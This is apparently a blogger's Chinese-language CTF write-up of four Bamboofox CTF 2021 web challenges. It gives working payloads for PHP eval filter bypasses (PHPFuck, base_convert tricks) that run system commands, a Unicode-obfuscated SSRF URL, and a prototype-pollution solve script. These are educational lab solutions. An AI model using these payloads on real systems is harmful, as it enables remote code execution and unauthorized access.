Bamboofox CTF 2021

ヽ(#`Д´)ノ

<?=highlight_file(__FILE__)&&strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A&&!preg_match('/[a-z0-9`]/i',$🐱)&&eval(print_r($🐱,1));

首先ヽ(#`Д´)ノ傳入一個陣列,可以直接繞過strlenpreg_match,然後fuzz發現用);?>可以正常解析,第一個)先閉合前面的Array([0] ⇒

<?php
$a = array('phpinfo());?>');
eval(print_r($a, 1));
http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD(%23`%D0%94%C2%B4)%EF%BE%89[]=system(%27cat%20/flag_de42537a7dd854f4ce27234a103d4362%27));?%3E

賽後看別人用Array([0] => phpinfo());/*)就可以了,PHP的容錯性真的很大XD

Calc.exe Online

<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));

function is_safe($query)
{
    $query = strtolower($query);
    preg_match_all("/([a-z_]+)/", $query, $words);
    $words = $words[0];
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
    $accept_chars = str_split($accept_chars);
    $bad = '';
    for ($i = 0; $i < count($words); $i++) {
        if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
            $bad .= $words[$i] . " ";
        }
    }

    for ($i = 0; $i < strlen($query); $i++) {
        if (array_search($query[$i], $accept_chars) === false) {
            $bad .= $query[$i] . " ";
        }
    }
    return $bad;
}

function safe_eval($code)
{
    if (strlen($code) > 1024) return "Expression too long.";
    $code = strtolower($code);
    $bad = is_safe($code);
    $res = '';
    if (strlen(str_replace(' ', '', $bad)))
        $res = "I don't like this: " . $bad;
    else
        eval('$res=' . $code . ";");
    return $res;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/css/bulma.min.css">
    <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    <title>Calc.exe online</title>
</head>
<style>
</style>

<body>
    <section class="hero">
        <div class="container">
            <div class="hero-body">
                <h1 class="title">Calc.exe Online</h1>
            </div>
        </div>
    </section>
    <div class="container" style="margin-top: 3em; margin-bottom: 3em;">
        <div class="columns is-centered">
            <div class="column is-8-tablet is-8-desktop is-5-widescreen">
                <form>
                    <div class="field">
                        <div class="control">
                            <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
                        </div>
                    </div>
                </form>
            </div>
        </div>
        <div class="columns is-centered">
            <?php if (isset($_GET['expression'])) : ?>
                <div class="card column is-8-tablet is-8-desktop is-5-widescreen">
                    <div class="card-content">
                        = <?= @safe_eval($_GET['expression']) ?>
                    </div>
                </div>
            <?php endif ?>
            <a href="/?source"></a>
        </div>
    </div>
</body>

</html>

直接用PHPFuck就好了,長度也剛好,先獲取system的,然後獲取命令的,flag檔名太長直接用cat /*,最後({system})({command})長度也低於1024,送分題~

// system('cat /*')
http://chall.ctf.bamboofox.tw:13377/?expression=%28%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D%5E%5B%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%29%28%28%28%5B%5D%5E%5B%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%29

另解(用math函數RCE):

<?php
// 先透過base_convert把36進位的字母轉成10進位的數字
echo base_convert('system',36,10); //1751504350
echo base_convert('cat',36,10); // 15941
base_convert(1751504350, 10, 36)(base_convert(15941, 10, 36)); // system('cat')
// 因為flag在/* 然後36進位沒有" "也沒有"*",所以要用xor的方式獲取:
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
foreach ($whitelist as $i) {
    foreach ($whitelist as $k) {
        echo $k ^ $i ^ " /*";
        echo "   " . $i . " " . $k . "\n";
    }
}
// 找 $k ^ $i ^ "/*"出來是數字的,但因為是字串,"和'也不能用,所以要用dechex(10進位轉16進位)
// 像這裡可以用 "164" ^ tanh ^ exp = " /*"
echo hexdec(164); // 16進位轉10進位, output: 356
echo dechex(356) ^ tan ^ exp; // 這樣就有 " /*" 了
// system('cat /*')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(356)^tan^exp))

另解(感覺是最簡單的了):

// system()
(asin[1].hypot[1].asin[1].atan[1].ceil[1].fmod[1])()
// 因為這樣不會有/ *那些,所以用end(getallheaders()) **getallheaders是Apache專屬的,Nginx沒有**
(asin[1].hypot[1].asin[1].atan[1].ceil[1].fmod[1])((exp[0].min[2].fmod[3])((log[2].exp[0].tan[0].abs[0].log[0].log[0].cosh[3].exp[0].abs[0].fmod[3].exp[0].ncr[2].abs[2])()))
// RCE:
> curl -g "http://chall.ctf.bamboofox.tw:13377/?expression=(asin[1].hypot[1].asin[1].atan[1].ceil[1].fmod[1])((exp[0].min[2].fmod[3])((log[2].exp[0].tan[0].abs[0].log[0].log[0].cosh[3].exp[0].abs[0].fmod[3].exp[0].ncr[2].abs[2])()))" -H "zzz: ls -la /"

SSRFrog

const express = require("express");
const http = require("http");

const app = express();

app.get("/source", (req, res) => {
    return res.sendFile(__filename);
})
app.get('/', (req, res) => {
    const { url } = req.query;
    if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");

    // no duplicate characters in `url`
    if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

    try {
        http.get(url, resp => {
            resp.setEncoding("utf-8");
            resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
        }).on('error', () => res.send("WTF?"));
    } catch (error) {
        res.send("WTF?");
    }
});

app.listen(3000, '0.0.0.0');

Unicode+大小寫來讓每個字都不一樣,http庫在請求的時候會轉回正常文字,可參考: https://www.compart.com/en/unicode/

http://chall.ctf.bamboofox.tw:9453/?url=htTp%3A%5C%2F%E1%B5%97%CA%B0e%EF%BC%8Ec%E2%81%B0o%E2%82%80O0L-fl4%E2%81%B4%E2%82%84g.sErv%E1%B5%89R%E3%80%82in%E2%82%9C%E2%82%91%E1%B5%A3Na%CB%A1

然後賽後才知道有這個:

https://github.com/splitline/domain-obfuscator

https://splitline.github.io/domain-obfuscator/

Time to Draw

const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");

const app = express();
app.use(cookieParser(secret.FLAG));

let canvas = {
    ...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

app.get('/', (req, res) => {
    if (!req.signedCookies.user)
        res.cookie('user', { admin: false }, { signed: true });

    res.sendFile(__dirname + "/index.html");
});

app.get('/source', (_, res) => {
    res.sendFile(__filename);
});

app.get('/api/canvas', (_, res) => {
    res.json(canvas);
});

app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});

app.get('/promote', (req, res) => {
    if (req.query.yo_i_want_to_be === 'admin')
        res.cookie('user', { admin: true }, { signed: true });
    res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});

app.get('/flag', (req, res) => {
    let userData = { isGuest: true };
    if (req.signedCookies.user && req.signedCookies.user.admin === true) {
        userData.isGuest = false;
        userData.isAdmin = req.cookies.admin;
        userData.token = secret.ADMIN_TOKEN;
    }

    if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
        hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
        res.send(secret.FLAG);
    else
        res.send("NO");
});

app.listen(3000, "0.0.0.0");

這個要先對javascript的原型鍊有點了解,參考這篇: https://blog.techbridge.cc/2017/04/22/javascript-prototype/

__proto__是找上一層的prototypecanvas是一個Object,所以canvas.__proto__就會等於Object.prototypeuserData也是一個Object,只要不是admin,userData.token就不會被賦值,而在當前變數找不到token,所以會往上一層也就是Object.prototype去找

// 在這裡用canvas["__proto__"]["token"] = sha256_token
app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});
// 這個請求不能讓userData.token被賦值,所以不能去請求/promote
app.get('/flag', (req, res) => {
    let userData = { isGuest: true };
    if (req.signedCookies.user && req.signedCookies.user.admin === true) {
        userData.isGuest = false;
        userData.isAdmin = req.cookies.admin;
        userData.token = secret.ADMIN_TOKEN;
    }
        // token是16位[0-9a-f]字串,並且sha256(ip + token) = userData.token,因為會找不到userData.token,所以會去Object.prototype.token去找
    if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
        hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
        res.send(secret.FLAG);
    else
        res.send("NO");
});

解法:

import requests
import hashlib

def get_ip():
    return requests.get(url='https://ifconfig.me/ip').text

def generate_token(remote_addr):
    return hashlib.sha256(f'{remote_addr}0000000000000000'.encode()).hexdigest()

def draw_token(obj_token):
    requests.get(url=f'http://chall.ctf.bamboofox.tw:8787/api/draw?x=__proto__&y=token&color={obj_token}')

def get_flag():
    return requests.get(url='http://chall.ctf.bamboofox.tw:8787/flag?token=0000000000000000').text

if __name__ == '__main__':
    ip = get_ip()
    token = generate_token(ip)
    draw_token(token)
    print(get_flag())

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *